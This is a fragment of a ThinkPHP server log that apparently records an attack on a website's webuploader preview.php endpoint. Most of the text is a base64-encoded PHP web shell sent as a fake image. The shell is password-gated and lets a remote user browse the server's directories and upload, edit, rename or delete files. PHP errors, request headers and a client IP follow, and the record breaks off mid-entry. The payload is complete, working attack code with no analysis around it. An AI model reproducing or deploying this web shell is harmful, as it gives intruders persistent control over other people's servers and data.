'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:11+08:00 ] 116.213.36.234 POST 51tianwei.com/static/common/user/webuploader/0.1.15/server/preview.php [运行时间:0.002497s] [吞吐率:400.49req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 